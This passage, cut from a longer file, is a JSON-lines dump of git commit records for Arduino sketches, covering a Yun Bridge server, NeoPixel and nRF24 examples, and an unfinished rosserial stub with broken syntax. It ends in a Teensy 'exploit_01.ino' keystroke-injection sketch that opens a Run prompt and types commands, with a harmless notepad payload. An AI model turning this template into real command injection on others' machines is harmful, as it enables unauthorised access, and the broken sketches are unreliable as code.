yrtleTree33\/Arduino,Protoneer\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,superboonie\/Arduino,plinioseniore\/Arduino,radut\/Arduino,eduardocasarin\/Arduino,spapadim\/Arduino,ogferreiro\/Arduino,tskurauskas\/Arduino,danielchalef\/Arduino,gestrem\/Arduino,zederson\/Arduino,jamesrob4\/Arduino,drpjk\/Arduino,raimohanska\/Arduino,toddtreece\/esp8266-Arduino,ari-analytics\/Arduino,henningpohl\/Arduino,shannonshsu\/Arduino,byran\/Arduino,zaiexx\/Arduino,niggor\/Arduino_cc,spapadim\/Arduino,tbowmo\/Arduino,drpjk\/Arduino,NaSymbol\/Arduino,ektor5\/Arduino,niggor\/Arduino_cc,mangelajo\/Arduino,NeuralSpaz\/Arduino,ogferreiro\/Arduino,lulufei\/Arduino,ari-analytics\/Arduino,ccoenen\/Arduino,kidswong999\/Arduino,adamkh\/Arduino,lulufei\/Arduino,PaoloP74\/Arduino,chaveiro\/Arduino,ashwin713\/Arduino,acosinwork\/Arduino,PaoloP74\/Arduino,nandojve\/Arduino,eggfly\/arduino,mangelajo\/Arduino,tbowmo\/Arduino,aichi\/Arduino-2,rcook\/DesignLab,probonopd\/Arduino,ForestNymph\/Arduino_sources,majenkotech\/Arduino,jaehong\/Xmegaduino,lulufei\/Arduino,jomolinare\/Arduino,smily77\/Arduino,ssvs111\/Arduino,garci66\/Arduino,pdNor\/Arduino,SmartArduino\/Arduino-1,zaiexx\/Arduino,NicoHood\/Arduino,niggor\/Arduino_cc,ssvs111\/Arduino,adamkh\/Arduino,gurbrinder\/Arduino,onovy\/Arduino,eggfly\/arduino,smily77\/Arduino,Cloudino\/Cloudino-Arduino-IDE,gberl001\/Arduino,probonopd\/Arduino,adamkh\/Arduino,cscenter\/Arduino,gurbrinder\/Arduino,garci66\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ikbelkirasan\/Arduino,weera00\/Arduino,koltegirish\/Arduino,paulmand3l\/Arduino,NeuralSpaz\/Arduino,ari-analytics\/Arduino,karlitxo\/Arduino,HCastano\/Arduino,ari-analytics\/Arduino,jabezGit\/Arduino,gonium\/Arduino,jabezGit\/Arduino,shannonshsu\/Arduino,acosinwork\/Arduino,arunkuttiyara\/Arduino,ogahara\/Arduino,leftbrainstrain\/Arduino-ESP8266,radut\/Arduino,Alfredynho\/AgroSis,zaiexx\/Arduino,drpjk\/Arduino,ogferreiro\/Arduino,lukeWal\/Arduino,NicoHood\/Arduino,snargledorf\/Arduino,gestrem\/Arduino,zaiexx\/Arduino,arunkuttiyara\/Arduino,stickbreaker\/Arduino,gberl001\/Arduino,arunkuttiyara\/Arduino,adafruit\/ESP8266-Arduino,onovy\/Arduino,ForestNymph\/Arduino_sources,tommyli2014\/Arduino,mattvenn\/Arduino,nandojve\/Arduino,arunkuttiyara\/Arduino,jomolinare\/Arduino,steamboating\/Arduino,byran\/Arduino,wdoganowski\/Arduino,cscenter\/Arduino,ektor5\/Arduino,ektor5\/Arduino,onovy\/Arduino,EmuxEvans\/Arduino,lukeWal\/Arduino,jamesrob4\/Arduino,ForestNymph\/Arduino_sources,jaej-dev\/Arduino,gestrem\/Arduino,karlitxo\/Arduino,andrealmeidadomingues\/Arduino,PeterVH\/Arduino,garci66\/Arduino,paulmand3l\/Arduino,Cloudino\/Arduino,PeterVH\/Arduino,ssvs111\/Arduino,jaej-dev\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jabezGit\/Arduino,vbextreme\/Arduino,ogferreiro\/Arduino,andyvand\/Arduino-1,aichi\/Arduino-2,ashwin713\/Arduino,talhaburak\/Arduino,garci66\/Arduino,eggfly\/arduino,paulmand3l\/Arduino,leftbrainstrain\/Arduino-ESP8266,Chris--A\/Arduino,tskurauskas\/Arduino,cscenter\/Arduino,zenmanenergy\/Arduino,ogferreiro\/Arduino,henningpohl\/Arduino,ikbelkirasan\/Arduino,steamboating\/Arduino,ashwin713\/Arduino,adafruit\/ESP8266-Arduino,jabezGit\/Arduino,danielchalef\/Arduino,benwolfe\/esp8266-Arduino,stickbreaker\/Arduino,snargledorf\/Arduino,ektor5\/Arduino,rcook\/DesignLab,raimohanska\/Arduino,tomkrus007\/Arduino,jabezGit\/Arduino,karlitxo\/Arduino,PaoloP74\/Arduino,bigjosh\/Arduino,tbowmo\/Arduino,me-no-dev\/Arduino-1,ricklon\/Arduino,arunkuttiyara\/Arduino,zederson\/Arduino,ari-analytics\/Arduino,garci66\/Arduino,kidswong999\/Arduino,mangelajo\/Arduino,spapadim\/Arduino,andyvand\/Arduino-1,eddyst\/Arduino-SourceCode,tskurauskas\/Arduino,noahchense\/Arduino-1,pdNor\/Arduino,gonium\/Arduino,chaveiro\/Arduino,scdls\/Arduino,NeuralSpaz\/Arduino,stevemayhew\/Arduino,adamkh\/Arduino,ari-analytics\/Arduino,bsmr-arduino\/Arduino,mangelajo\/Arduino,cscenter\/Arduino,jomolinare\/Arduino,ForestNymph\/Arduino_sources,zenmanenergy\/Arduino,PeterVH\/Arduino,cscenter\/Arduino,jaimemaretoli\/Arduino,HCastano\/Arduino,andrealmeidadomingues\/Arduino,jaej-dev\/Arduino,mattvenn\/Arduino,kidswong999\/Arduino,Gourav2906\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,Alfredynho\/AgroSis,lukeWal\/Arduino,KlaasDeNys\/Arduino,me-no-dev\/Arduino-1,Chris--A\/Arduino,kidswong999\/Arduino,sanyaade-iot\/Arduino-1,EmuxEvans\/Arduino,vbextreme\/Arduino,snargledorf\/Arduino,probonopd\/Arduino,chaveiro\/Arduino,adamkh\/Arduino,eeijcea\/Arduino-1,noahchense\/Arduino-1,acosinwork\/Arduino,tannewt\/Arduino,wayoda\/Arduino,Protoneer\/Arduino,benwolfe\/esp8266-Arduino,zederson\/Arduino,talhaburak\/Arduino,ssvs111\/Arduino,plaintea\/esp8266-Arduino,paulo-raca\/ESP8266-Arduino,henningpohl\/Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,laylthe\/Arduino,jaej-dev\/Arduino,superboonie\/Arduino,wilhelmryan\/Arduino,scdls\/Arduino,arduino-org\/Arduino,karlitxo\/Arduino,raimohanska\/Arduino,ricklon\/Arduino,kidswong999\/Arduino,fungxu\/Arduino,bigjosh\/Arduino,KlaasDeNys\/Arduino,ssvs111\/Arduino,fungxu\/Arduino,nkolban\/Arduino,jmgonzalez00449\/Arduino,wayoda\/Arduino,Alfredynho\/AgroSis,ikbelkirasan\/Arduino,ricklon\/Arduino,Chris--A\/Arduino,steamboating\/Arduino,scdls\/Arduino,superboonie\/Arduino,eduardocasarin\/Arduino,wilhelmryan\/Arduino,mc-hamster\/esp8266-Arduino,tbowmo\/Arduino,tannewt\/Arduino,gurbrinder\/Arduino,lukeWal\/Arduino,zederson\/Arduino,eeijcea\/Arduino-1,eduardocasarin\/Arduino,acosinwork\/Arduino,smily77\/Arduino,arduino-org\/Arduino,NaSymbol\/Arduino,me-no-dev\/Arduino-1,wayoda\/Arduino,raimohanska\/Arduino,tskurauskas\/Arduino,OpenDevice\/Arduino,EmuxEvans\/Arduino,eddyst\/Arduino-SourceCode,stevemarple\/Arduino-org,xxxajk\/Arduino-1,KlaasDeNys\/Arduino,shiitakeo\/Arduino,tomkrus007\/Arduino,cscenter\/Arduino,jomolinare\/Arduino,nkolban\/Arduino,tskurauskas\/Arduino,ogahara\/Arduino,laylthe\/Arduino,lulufei\/Arduino,ogahara\/Arduino,stevemayhew\/Arduino,jmgonzalez00449\/Arduino,gberl001\/Arduino,shannonshsu\/Arduino,drpjk\/Arduino,gonium\/Arduino,arduino-org\/Arduino,UDOOboard\/Arduino,UDOOboard\/Arduino,ricklon\/Arduino,me-no-dev\/Arduino-1,superboonie\/Arduino,UDOOboard\/Arduino,wilhelmryan\/Arduino,zenmanenergy\/Arduino,tannewt\/Arduino,aichi\/Arduino-2,pdNor\/Arduino,ForestNymph\/Arduino_sources,garci66\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ricklon\/Arduino,Cloudino\/Arduino,probonopd\/Arduino,myrtleTree33\/Arduino,arunkuttiyara\/Arduino,cscenter\/Arduino,koltegirish\/Arduino,andyvand\/Arduino-1,stevemayhew\/Arduino,Cloudino\/Arduino,pdNor\/Arduino,eggfly\/arduino,ntruchsess\/Arduino-1,mangelajo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Gourav2906\/Arduino,aichi\/Arduino-2,rcook\/DesignLab,HCastano\/Arduino,NaSymbol\/Arduino,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,byran\/Arduino,ashwin713\/Arduino,jmgonzalez00449\/Arduino,NeuralSpaz\/Arduino,ogahara\/Arduino,radut\/Arduino,gestrem\/Arduino,henningpohl\/Arduino,majenkotech\/Arduino,Protoneer\/Arduino,ForestNymph\/Arduino_sources,byran\/Arduino,onovy\/Arduino,shiitakeo\/Arduino,mboufos\/esp8266-Arduino,jamesrob4\/Arduino,superboonie\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,ForestNymph\/Arduino_sources,Cloudino\/Arduino,majenkotech\/Arduino,rcook\/DesignLab,onovy\/Arduino,gurbrinder\/Arduino,Alfredynho\/AgroSis,acosinwork\/Arduino,tomkrus007\/Arduino,xxxajk\/Arduino-1,PeterVH\/Arduino,wdoganowski\/Arduino,shannonshsu\/Arduino,mattvenn\/Arduino,spapadim\/Arduino,nandojve\/Arduino,chaveiro\/Arduino,eduardocasarin\/Arduino,jomolinare\/Arduino,eggfly\/arduino,PeterVH\/Arduino,adafruit\/ESP8266-Arduino,Cloudino\/Cloudino-Arduino-IDE,weera00\/Arduino,talhaburak\/Arduino,andrealmeidadomingues\/Arduino,karlitxo\/Arduino,piersoft\/esp8266-Arduino,Gourav2906\/Arduino,jaimemaretoli\/Arduino,HCastano\/Arduino,snargledorf\/Arduino,PeterVH\/Arduino,SmartArduino\/Arduino-1,gestrem\/Arduino,myrtleTree33\/Arduino,ntruchsess\/Arduino-1,ccoenen\/Arduino,zenmanenergy\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jamesrob4\/Arduino,zaiexx\/Arduino,scdls\/Arduino,danielchalef\/Arduino,ogahara\/Arduino,tomkrus007\/Arduino,eeijcea\/Arduino-1,plinioseniore\/Arduino,fungxu\/Arduino,ashwin713\/Arduino,tbowmo\/Arduino,ntruchsess\/Arduino-1,OpenDevice\/Arduino,damellis\/Arduino,vbextreme\/Arduino,Chris--A\/Arduino,mboufos\/esp8266-Arduino,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,lulufei\/Arduino,pdNor\/Arduino,Alfredynho\/AgroSis,EmuxEvans\/Arduino,tskurauskas\/Arduino,snargledorf\/Arduino,xxxajk\/Arduino-1,pdNor\/Arduino,niggor\/Arduino_cc,paulo-raca\/ESP8266-Arduino,jmgonzalez00449\/Arduino,lulufei\/Arduino,KlaasDeNys\/Arduino,tbowmo\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,OpenDevice\/Arduino,eddyst\/Arduino-SourceCode,danielchalef\/Arduino,tommyli2014\/Arduino,paulo-raca\/ESP8266-Arduino,laylthe\/Arduino,danielchalef\/Arduino,radut\/Arduino,gurbrinder\/Arduino,radut\/Arduino,shannonshsu\/Arduino,henningpohl\/Arduino,bigjosh\/Arduino,nandojve\/Arduino,spapadim\/Arduino,wilhelmryan\/Arduino,me-no-dev\/Arduino-1,zederson\/Arduino,jaimemaretoli\/Arduino,stevemarple\/Arduino-org,shannonshsu\/Arduino,ektor5\/Arduino,mc-hamster\/esp8266-Arduino,byran\/Arduino,paulo-raca\/ESP8266-Arduino,PaoloP74\/Arduino,andyvand\/Arduino-1,jaimemaretoli\/Arduino,eeijcea\/Arduino-1,eggfly\/arduino,SmartArduino\/Arduino-1,zaiexx\/Arduino,PaoloP74\/Arduino,HCastano\/Arduino,gurbrinder\/Arduino,raimohanska\/Arduino,tommyli2014\/Arduino,tskurauskas\/Arduino,weera00\/Arduino,jaehong\/Xmegaduino,zenmanenergy\/Arduino,Alfredynho\/AgroSis,vbextreme\/Arduino,bigjosh\/Arduino,plaintea\/esp8266-Arduino,KlaasDeNys\/Arduino,paulmand3l\/Arduino,benwolfe\/esp8266-Arduino,stickbreaker\/Arduino,NicoHood\/Arduino,UDOOboard\/Arduino,ikbelkirasan\/Arduino,jaehong\/Xmegaduino,drpjk\/Arduino,damellis\/Arduino,jmgonzalez00449\/Arduino,jaehong\/Xmegaduino,paulo-raca\/ESP8266-Arduino,paulo-raca\/ESP8266-Arduino,tomkrus007\/Arduino,henningpohl\/Arduino,ntruchsess\/Arduino-1,jmgonzalez00449\/Arduino,nkolban\/Arduino,jamesrob4\/Arduino,stevemarple\/Arduino-org,ricklon\/Arduino,paulmand3l\/Arduino,garci66\/Arduino,damellis\/Arduino,ccoenen\/Arduino,lukeWal\/Arduino,cscenter\/Arduino,chaveiro\/Arduino,KlaasDeNys\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stevemayhew\/Arduino,NeuralSpaz\/Arduino,xxxajk\/Arduino-1,noahchense\/Arduino-1,superboonie\/Arduino,damellis\/Arduino,NeuralSpaz\/Arduino,sanyaade-iot\/Arduino-1,gberl001\/Arduino,wdoganowski\/Arduino,nkolban\/Arduino,plaintea\/esp8266-Arduino,aichi\/Arduino-2,wdoganowski\/Arduino,xxxajk\/Arduino-1,tomkrus007\/Arduino,ntruchsess\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,adafruit\/ESP8266-Arduino,eddyst\/Arduino-SourceCode,chaveiro\/Arduino,NaSymbol\/Arduino,PeterVH\/Arduino,wayoda\/Arduino,superboonie\/Arduino,lukeWal\/Arduino,xxxajk\/Arduino-1,zenmanenergy\/Arduino,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,byran\/Arduino,shiitakeo\/Arduino,andrealmeidadomingues\/Arduino,weera00\/Arduino,henningpohl\/Arduino,eeijcea\/Arduino-1,niggor\/Arduino_cc,ashwin713\/Arduino,radut\/Arduino,ccoenen\/Arduino,mboufos\/esp8266-Arduino,talhaburak\/Arduino,superboonie\/Arduino,onovy\/Arduino,stevemarple\/Arduino-org,Gourav2906\/Arduino,talhaburak\/Arduino,andrealmeidadomingues\/Arduino,ektor5\/Arduino,bsmr-arduino\/Arduino,Protoneer\/Arduino,nandojve\/Arduino,jabezGit\/Arduino,mateuszdw\/Arduino,ssvs111\/Arduino,arunkuttiyara\/Arduino,KlaasDeNys\/Arduino,probonopd\/Arduino,jaimemaretoli\/Arduino,paulmand3l\/Arduino,kidswong999\/Arduino,NaSymbol\/Arduino,xxxajk\/Arduino-1,jaehong\/Xmegaduino,leftbrainstrain\/Arduino-ESP8266,Protoneer\/Arduino,shannonshsu\/Arduino,shiitakeo\/Arduino,nkolban\/Arduino,niggor\/Arduino_cc,Cloudino\/Arduino,steamboating\/Arduino,Cloudino\/Cloudino-Arduino-IDE,SmartArduino\/Arduino-1,Protoneer\/Arduino,smily77\/Arduino,benwolfe\/esp8266-Arduino,myrtleTree33\/Arduino,majenkotech\/Arduino,stickbreaker\/Arduino,ccoenen\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tannewt\/Arduino,stickbreaker\/Arduino,karlitxo\/Arduino,talhaburak\/Arduino,wilhelmryan\/Arduino,jaehong\/Xmegaduino,KlaasDeNys\/Arduino,NeuralSpaz\/Arduino,shiitakeo\/Arduino,steamboating\/Arduino,NicoHood\/Arduino,byran\/Arduino","old_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/BridgeNew\/BridgeNew.ino","new_file":"hardware\/arduino\/avr\/libraries\/Bridge\/examples\/BridgeNew\/BridgeNew.ino","new_contents":"\n\/\/ Possible commands are listed here:\n\/\/\n\/\/ \"digital\/13\" -> digitalRead(13)\n\/\/ \"digital\/13\/1\" -> digitalWrite(13, HIGH)\n\/\/ \"analog\/2\/123\" -> analogWrite(2, 123)\n\/\/ \"analog\/2\" -> analogRead(2)\n\/\/ \"mode\/13\/input\" -> pinMode(13, INPUT)\n\/\/ \"mode\/13\/output\" -> pinMode(13, OUTPUT)\n\n#include <Bridge.h>\n#include <YunServer.h>\n\n\/\/ Listen on port 5555, the webserver on the Yun\n\/\/ will forward there all the HTTP requests for us.\nYunServer server(5555);\n\nvoid setup() {\n Serial.begin(9600);\n\n \/\/ Bridge startup\n pinMode(13,OUTPUT);\n digitalWrite(13, LOW);\n Bridge.begin();\n digitalWrite(13, HIGH);\n\n \/\/ Listen for incoming connection only from localhost\n \/\/ (no one from the external network could connect)\n server.listenOnLocalhost();\n server.begin();\n}\n\nvoid loop() {\n \/\/ Get clients coming from server\n YunClient client = server.accept();\n\n \/\/ There is a new client?\n if (client) {\n \/\/ Process request\n process(client);\n\n \/\/ Close connection and free resources.\n client.stop();\n }\n\n delay(50); \/\/ Poll every 50ms\n}\n\nvoid process(YunClient client) {\n \/\/ discard the first slash '\/' character from the URL\n client.read();\n\n \/\/ read the command\n String command = client.readStringUntil('\/');\n\n \/\/ is \"digital\" command?\n if (command == \"digital\") {\n digitalCommand(client);\n }\n\n \/\/ is \"analog\" command?\n if (command == \"analog\") {\n analogCommand(client);\n }\n\n \/\/ is \"mode\" command?\n if (command == \"mode\") {\n modeCommand(client);\n }\n}\n\nvoid digitalCommand(YunClient client) {\n int pin, value;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is a '\/' it means we have an URL\n \/\/ with a value like: \"\/digital\/13\/1\"\n if (client.read() == '\/') {\n value = client.parseInt();\n digitalWrite(pin, value);\n } \n else {\n value = digitalRead(pin);\n }\n\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" set to \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"D\";\n key += pin;\n Bridge.put(key, String(value));\n}\n\nvoid analogCommand(YunClient client) {\n int pin, value;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is a '\/' it means we have an URL\n \/\/ with a value like: \"\/analog\/5\/120\"\n if (client.read() == '\/') {\n \/\/ Read value and execute command\n value = client.parseInt();\n analogWrite(pin, value);\n\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" set to analog \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"D\";\n key += pin;\n Bridge.put(key, String(value));\n }\n else {\n \/\/ Read analog pin\n value = analogRead(pin);\n\n \/\/ Send feedback to client\n client.print(F(\"Pin A\"));\n client.print(pin);\n client.print(F(\" reads analog \"));\n client.println(value);\n\n \/\/ Update datastore key with the current pin value\n String key = \"A\";\n key += pin;\n Bridge.put(key, String(value));\n }\n}\n\nvoid modeCommand(YunClient client) {\n int pin;\n\n \/\/ Read pin number\n pin = client.parseInt();\n\n \/\/ If the next character is not a '\/' we have a malformed URL\n if (client.read() != '\/') {\n client.println(F(\"error\"));\n return;\n }\n\n String mode = client.readStringUntil('\\r');\n\n if (mode == \"input\") {\n pinMode(pin, INPUT);\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" configured as INPUT!\"));\n return;\n }\n\n if (mode == \"output\") {\n pinMode(pin, OUTPUT);\n \/\/ Send feedback to client\n client.print(F(\"Pin D\"));\n client.print(pin);\n client.print(F(\" configured as OUTPUT!\"));\n return;\n }\n\n client.print(F(\"error: invalid mode \"));\n client.print(mode);\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'hardware\/arduino\/avr\/libraries\/Bridge\/examples\/BridgeNew\/BridgeNew.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"ff9eb4d0a2c2494c517a569a8aa88bc3853b9831","subject":"Added new folder for arduino rosserial code.","message":"Added new folder for arduino rosserial code.\n","repos":"RIVeR-Lab\/walrus,RIVeR-Lab\/walrus,RIVeR-Lab\/walrus,OAkyildiz\/walrus,OAkyildiz\/walrus,OAkyildiz\/walrus,OAkyildiz\/walrus,RIVeR-Lab\/walrus,RIVeR-Lab\/walrus,OAkyildiz\/walrus,OAkyildiz\/walrus,RIVeR-Lab\/walrus,OAkyildiz\/walrus,RIVeR-Lab\/walrus","old_file":"calf_arduino_rosserial\/calf_arduino_rosserial.ino","new_file":"calf_arduino_rosserial\/calf_arduino_rosserial.ino","new_contents":"#include <ArduinoHardware.h>\n#include <ros.h>\n\nros::NodeHandle nh;\n\nvoid leftDriveCb(const std_msgs::Float64& drive_speed)\n{\n s\n}\nros::Subscriber<std_msgs::Float64> leftDrive(\"\/calf\/left_drive_controller\/command\", \n\nsetup ()\n{\n}\n\nloop ()\n{\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'calf_arduino_rosserial\/calf_arduino_rosserial.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"6e89afa4e8d6f87baf659daeb60de52ed518e234","subject":"Ping-pong dot changing colors.","message":"Ping-pong dot changing colors.\n","repos":"pathob\/adafruit-neopixel-effects","old_file":"ws2812b-control.ino","new_file":"ws2812b-control.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define LED_01_PIN 3\n#define LED_01_NUM 13\n\n#define RED 0\n#define GREEN 1\n#define BLUE 2\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(LED_01_NUM, LED_01_PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 40; \/\/ delay for half a second\n\nbool increase = true;\nint index = 0;\n\nint color[3];\nint offset;\n\nvoid setup() {\n Serial.begin(9600);\n \n pixels.begin();\n pixels.setBrightness(255);\n pixels.show();\n \n offset = 0;\n \n color[RED] = 255;\n color[GREEN] = 0;\n color[BLUE] = 0;\n}\n\nvoid loop() {\n \n for(int i=0;i<LED_01_NUM;i++){\n pixels.setPixelColor(i, pixels.Color(0,0,0));\n }\n \n if (color[offset] == 0) {\n offset = (offset + 1) % 3;\n }\n \n color[offset]--;\n color[(offset+1)%3]++;\n \n Serial.print(color[RED]);\n Serial.print(\" - \");\n Serial.print(color[GREEN]);\n Serial.print(\" - \");\n Serial.println(color[BLUE]);\n \n pixels.setPixelColor(index, pixels.Color(color[RED],color[GREEN],color[BLUE]));\n \n if (increase) {\n ++index;\n if (index == LED_01_NUM-1) {\n increase = false;\n }\n } else {\n --index;\n if (index == 0) {\n increase = true;\n }\n }\n \n pixels.show();\n delay(delayval);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"1b2ead97b7adc277475071d3e8b63457f0cc86b1","subject":"Modified multi-receiver code to possibly receive an array","message":"Modified multi-receiver code to possibly receive an array\n","repos":"laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon,laurengulland\/009yellow-beacon","old_file":"arduino\/multi-receiver_integration\/multi-receiver_integration.ino","new_file":"arduino\/multi-receiver_integration\/multi-receiver_integration.ino","new_contents":"\/\/ An example demonstrating the multiceiver capability of the NRF24L01+\n\/\/ in a star network with one PRX hub and up to six PTX nodes\n\n\/\/This sketch is a modification from a video on the ForceTronics YouTube Channel,\n\/\/which code was leveraged from http:\/\/maniacbug.github.io\/RF24\/starping_8pde-example.html\n\/\/This sketch is free to the public to use and modify at your own risk\n\n#include <SPI.h> \/\/Call SPI library so you can communicate with the nRF24L01+\n#include <nRF24L01.h> \/\/nRF2401 libarary found at https:\/\/github.com\/tmrh20\/RF24\/\n#include <RF24.h> \/\/nRF2401 libarary found at https:\/\/github.com\/tmrh20\/RF24\/\n\nconst int pinCE = 7; \/\/This pin is used to set the nRF24 to standby (0) or active mode (1)\nconst int pinCSN = 8; \/\/This pin is used to tell the nRF24 whether the SPI communication is a command or message to send out\nRF24 radio(pinCE, pinCSN); \/\/ Declare object from nRF24 library (Create your wireless SPI)\n\n\/\/Create up to 6 pipe addresses P0 - P5; the \"LL\" is for LongLong type\nconst uint64_t rAddress[] = {0x7878787878LL, 0xB3B4B5B6F1LL, 0xB3B4B5B6CDLL, 0xB3B4B5B6A3LL, 0xB3B4B5B60FLL, 0xB3B4B5B605LL };\n\n\/\/byte daNumber = 0; \/\/The number that the transmitters are trying to guess\n\nvoid setup() \n{\n\/\/ randomSeed(analogRead(0)); \/\/create unique seed value for random number generation\n\/\/ daNumber = (byte)random(11); \/\/Create random number that transmitters have to guess\n Serial.begin(115200); \/\/start serial to communication\n\/\/ Serial.print(\"The number they are trying to guess is: \"); \n\/\/ Serial.println(daNumber); \/\/print the number that they have to guess\n\/\/ Serial.println();\n radio.begin(); \/\/Start the nRF24 module\n\n radio.setPALevel(RF24_PA_MAX); \/\/ \"short range setting\" - increase if you want more range AND have a good power supply\n radio.setChannel(120); \/\/ the higher channels tend to be more \"open\"\n\n \/\/ Open up to six pipes for PRX to receive data\n radio.openReadingPipe(0,rAddress[0]);\n radio.openReadingPipe(1,rAddress[1]);\n radio.openReadingPipe(2,rAddress[2]);\n radio.openReadingPipe(3,rAddress[3]);\n radio.openReadingPipe(4,rAddress[4]);\n radio.openReadingPipe(5,rAddress[5]);\n \n radio.startListening(); \/\/ Start listening for messages\n}\n\nvoid loop() \n{ \n\/\/ byte pipeNum = 0; \/\/variable to hold which reading pipe sent data\n\/\/ byte gotByte = 0; \/\/used to store payload from transmit module\n char pipeNum = 0; \/\/variable to hold which reading pipe sent data\n char gotByte = 0; \/\/used to store payload from transmit module\n while(radio.available(&pipeNum)){ \/\/Check if received data\n\/\/ radio.read( &gotByte, 1 ); \/\/read one byte of data and store it in gotByte variable\n radio.read( &gotByte, sizeof(pipeNum) ); \/\/read one byte of data and store it in gotByte variable\n\/\/ Serial.print(\"Received guess from transmitter: \"); \n Serial.println(pipeNum + 1); \/\/print which pipe or transmitter this is from\n Serial.print(\"GPS data: \");\n Serial.println(gotByte); \/\/print payload or the number the transmitter guessed\n\/\/ if(gotByte != daNumber) { \/\/if true they guessed wrong\n\/\/ Serial.println(\"Fail!! Try again.\"); \n\/\/ }\n\/\/ else { \/\/if this is true they guessed right\n\/\/ if(sendCorrectNumber(pipeNum)) Serial.println(\"Correct! You're done.\"); \/\/if true we successfully responded\n\/\/ else Serial.println(\"Write failed\"); \/\/if true we failed responding\n\/\/ }\n Serial.println();\n }\n\n delay(200); \n}\n\n \/\/This function turns the receiver into a transmitter briefly to tell one of the nRF24s\n\/\/in the network that it guessed the right number. Returns true if write to module was\n\/\/successful\n\/\/bool sendCorrectNumber(byte xMitter) {\n\/\/ bool worked; \/\/variable to track if write was successful\n\/\/ radio.stopListening(); \/\/Stop listening, start receiving data.\n\/\/ radio.openWritingPipe(rAddress[xMitter]); \/\/Open writing pipe to the nRF24 that guessed the right number\n\/\/ \/\/ note that this is the same pipe address that was just used for receiving\n\/\/ if(!radio.write(&daNumber, 1)) worked = false; \/\/write the correct number to the nRF24 module, and check that it was received\n\/\/ else worked = true; \/\/it was received\n\/\/ radio.startListening(); \/\/Switch back to a receiver\n\/\/ return worked; \/\/return whether write was successful\n\/\/}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/multi-receiver_integration\/multi-receiver_integration.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10f4d7d09bae7ba04ba27bb16bfb9430e562bec8","subject":"Update VirtualColorMixer.ino","message":"Update VirtualColorMixer.ino","repos":"majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino,majenkotech\/Arduino","old_file":"build\/shared\/examples\/04.Communication\/VirtualColorMixer\/VirtualColorMixer.ino","new_file":"build\/shared\/examples\/04.Communication\/VirtualColorMixer\/VirtualColorMixer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"fatal: remote error: upload-pack: not our ref 10f4d7d09bae7ba04ba27bb16bfb9430e562bec8\nfatal: the remote end hung up unexpectedly\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"71b965805d1b15fcbbae838c8e35e30a12ec3d6f","subject":"Finished door sensor controller.","message":"Finished door sensor controller.\n","repos":"rogerluan\/Redes-A-PUC-Campinas-2016,rogerluan\/Redes-A-PUC-Campinas-2016,rogerluan\/Redes-A-PUC-Campinas-2016","old_file":"Arduino Project 1\/Arduino Files\/Door_Sensor\/Door_Sensor.ino","new_file":"Arduino Project 1\/Arduino Files\/Door_Sensor\/Door_Sensor.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Project' did not match any file(s) known to git\nerror: pathspec '1\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Files\/Door_Sensor\/Door_Sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d4ec1d031bd750db4421778f631e0c60d7985b77","subject":"Create exploit_01.ino","message":"Create exploit_01.ino","repos":"ismailtasdelen\/teensy3.2-projects","old_file":"examples\/codes\/cmd_command_execution\/exploit_01.ino","new_file":"examples\/codes\/cmd_command_execution\/exploit_01.ino","new_contents":"include <Keyboard.h>\n\nvoid setup() {\nKeyboard.begin();\nKeyboard.press(KEY_LEFT_GUI);\ndelay(500);\nKeyboard.press('r');\nKeyboard.releaseAll();\ndelay(200);\nKeyboard.print(\"cmd\");\ndelay(200);\nKeyboard.releaseAll();\nKeyboard.press(KEY_RETURN);\ndelay(200);\nKeyboard.print(\"notepad\");\ndelay(200);\nKeyboard.releaseAll();\nKeyboard.press(KEY_RETURN);\ndelay(200);\nKeyboard.print(\"Ismail Tasdelen\");\n}\n\nvoid loop() {}\nvoid typeKey(int key) 